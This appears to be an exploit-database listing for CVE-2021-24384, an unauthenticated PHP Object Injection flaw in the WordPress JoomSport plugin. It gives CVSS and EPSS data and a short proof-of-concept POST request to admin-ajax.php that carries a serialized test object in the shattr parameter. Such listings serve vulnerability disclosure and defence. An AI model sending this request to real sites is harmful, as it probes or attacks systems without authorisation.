Exploit for JoomSport < 5.1.8 - Unauthenticated PHP Object Injection

CVE-2021-24384

wpexploit · 2021-06-08

Description

JoomSport PHP Object Injection vulnerability in admin-ajax.ph

Entry point

Parametershattr · request body

Path/wp-admin/admin-ajax.php

PHP Object Injection via unserialised user input in shattr parameter of joomsport_md_load AJAX (WordPress JoomSport plugin).

Affected Beardev Joomsport versions

Beardev Joomsport< 5.1.8

All known vulnerabilities by product

Joomsport

CVSS 9.8 for CVE-2021-24384

9.8

HIGH SEVERITY

Version 3.1

VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Attack Vector:NETWORK

Attack Complexity:LOW

Privileges Required:NONE

User Interaction:NONE

Scope:UNCHANGED

Confidentiality:HIGH

Integrity:HIGH

Availability:HIGH

EPSS Score

2.1%higher than 78.9% of all CVEs

Updated 2026-06-16

Exploit Details

Modified:2021-06-08 07:07

Last Seen:2021-09-14 23:43

Reporter:Bugbang

Exploit Code

MARKDOWN5 lines

## https://sploitus.com/exploit?id=WPEX-ID:FB6C407C-713C-4E83-92CE-4E5F791BE696
POST /wp-admin/admin-ajax.php
[...]

action=joomsport_md_load&mdId=1&shattr=Tzo0OiJURVNUIjowOnt9

Exploit Code

Share

Share on social media: